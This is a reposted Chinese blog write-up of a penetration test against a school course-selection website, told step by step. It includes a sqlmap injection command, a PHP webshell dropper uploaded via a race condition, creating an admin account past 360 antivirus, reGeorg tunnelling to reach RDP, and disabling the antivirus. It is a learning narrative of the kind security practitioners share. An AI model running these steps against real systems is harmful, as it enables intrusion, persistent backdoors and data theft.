3

记一次简单渗透

 3 years ago
source link: https://xz.aliyun.com/t/9500
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

记一次简单渗透

V0n / 2021-05-06 09:55:26 / 浏览数 5748 安全技术 众测渗透 顶(0) 踩(0)

之前对渗透这方面的学习一直只是学到了Getshell为止,但是其实渗透可以说Getshell仅仅是一个开端,接下去的还有远程连接,域渗透等领域,这次刚好渗透到了某网站,决定以该网站为例,看看能不能进行一次相对完整的渗透历程

SQL注入

该网站是某校某选课网站,首先先用扫描器扫描一下网站,运气很好,居然扫出了一个注入,一看,原来是个宽字节注入

简单测了一下,发现并没有什么过滤,那就常规操作,用SQLmap跑一下

python2 sqlmap.py -u "http://xxx.xx.xx.xx/aaa/bbb.php?cid=118" --tamper=unmagicquotes

接下来便是爆库,爆表,爆列,爆值等常规操作。
获取Admin表中的账号密码,虽说密码是md5加密的了,但是去cmd5平台上一查,还是很方便的进入了后台

Getshell

接下来便是寻求Getshell的机会了

注意到这里有个上传文件的地方,从源码中可以看到是Fckeditor编辑器
从网上搜索相关的漏洞,首先先查看版本

发现是2.6.6版本的,遗憾的是只能找到2.6.6asp版本的洞,PHP版本的并不能找到相关的漏洞,而用了几个EXP去试试运气也都碰壁了,渗透本来到此就受阻
但是突然发现还有一个上传学生名单的接口

测试了一下,只有一个简单的前端认证,并且用burpsuite一看,还有了惊喜的发现

文件不仅上传成功了,并且还返回了相应的路径,当下便想到来连shell了,但当我想来连之时,却发现文件被删了,由文件路径里面有个temp,一下子就想到后端肯定写了一个自动清空temp目录的函数,但是解决思路也是很明确的,就是条件竞争嘛,通过多线程发包的方法,来实现一定时间内的文件访问
这里我将要发包的文件改为:

<?php file_put_contents('../success.php',"<?php phpinfo();@eval(\$_POST['a']); ?>"); ?>

只要我们能访问到它一次,这个程序就会自动在父目录里面写入一个shell,也就实现了跳出temp目录的写shell了。
用burpsuite的intruder模块不断发包,再访问我们上传的文件,便实现了成功写shell的目的,如图,Getshell:

系统信息搜集

systeminfo查看系统相关信息

netstat -ano查看开放的端口

可以看到3389端口是打开的,也就是可以进行远程连接
whoami查看当前用户

可以看到是system权限,本来我以为大功告成,接下来就是创建管理员用户,进行远程连接之时,但是发现无论如何都无法把用户添加进管理员组
在网上查了很多资料,有人说是可能有杀毒软件。tasklist一看,果然有360
那么问题到这里就只有三条路了:
1. 杀掉360,看看能不能利用system的高权限杀掉360
2. 得到其他管理员账户的密码或者密码的hash值,利用其他管理员的账户进行登录
2. 绕过360创建一个管理员账号

我对这三种情况都进行了尝试:

  • 方法1:我尝试利用taskkill来杀掉360的进程,但是始终报错,网上的资料五花八门,有的说system权限可以用taskkill来关闭360,也有的说360的主动防御进程(ZhuDongFangYu.exe)是在系统Ring0层,即使system权限也无法用taskkill来关掉,至少在这次渗透中,我渗透的机器,是没办法直接用taskkill来关掉360进程的,包括网上所讲的sc delete方法在这台机子上也是行不通的(会被拦截),至少现在看起来这条路堵死了
  • 方法2:当我上传Quarks PwDump.exe和各种软件时,无一例外都会被360拦截,看起来这条路也堵死了
  • 方法3:方法3就是我们最后的希望了,从网上看到资料说system权限下可以用Windows API的方法来创建管理员账户,而这种方法360不会拦截,具体可以参见这篇文章:
    【编程】创建用户,并添加至管理组
    但是比较蛋疼的一点是我电脑没有VS,编译不了这个文件,而宿友也都没有一个人安装的(毕竟他实在是太大了)
    好在我在github上找到了一个别人编译好的版本
    https://github.com/cckuailong/netuser
    运行了一下,成功添加用户

    那么就只剩最后一步了,进行远程连接,但是当我想直接连接的时候,发现居然连不上,用nmap扫了一下端口,发现3389没有开启,但是上面的netstat -ano显示3389是有开启的,那就只能说明3389端口是开在内网的,我们得进行一下内网穿透,把流量转发出来,使用reGeorg进行内网穿透。

将tunnel.nosocket.php上传至web目录(这里不能上传tunnel.php,php<5.3不能正常使用tunnel.php)
访问目标文件:

说明配置正常,关于reGeorg的使用可以去看这几篇文章
内网渗透--reGeorg+Proxifier
绕过360创建用户登陆内网3389实战记录
最后,我们就能成功的使用远程连接了,上了远程连接后,首先退出360所有防护,为接下来的进一步渗透做准备

在这里,还看到了天师的一篇文章,记载了如何隐藏添加的后门,获益匪浅
windows渗透中后门用户的添加方法探究
这次的渗透就先到这里,接下来的域渗透,就等以后有时间再来学习和钻研了。

这是我第一次进行后Getshell的渗透,写的可能很啰嗦并且很LOW,但是主要目的还是想让我自己记住这一此渗透学习到的知识,等以后有时间了再来继续进行下一步的域渗透

一次windows2008的提权过程
Windows服务器SYSTEM权限Webshell无法添加3389账户情况突破总结
Windows渗透基础大全
内网渗透初识—信息收集
【编程】创建用户,并添加至管理组
绕过360创建用户登陆内网3389实战记录
windows渗透中后门用户的添加方法探究
Windows提权建立Administrator的影子账户

点击收藏 | 1 关注 | 1

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK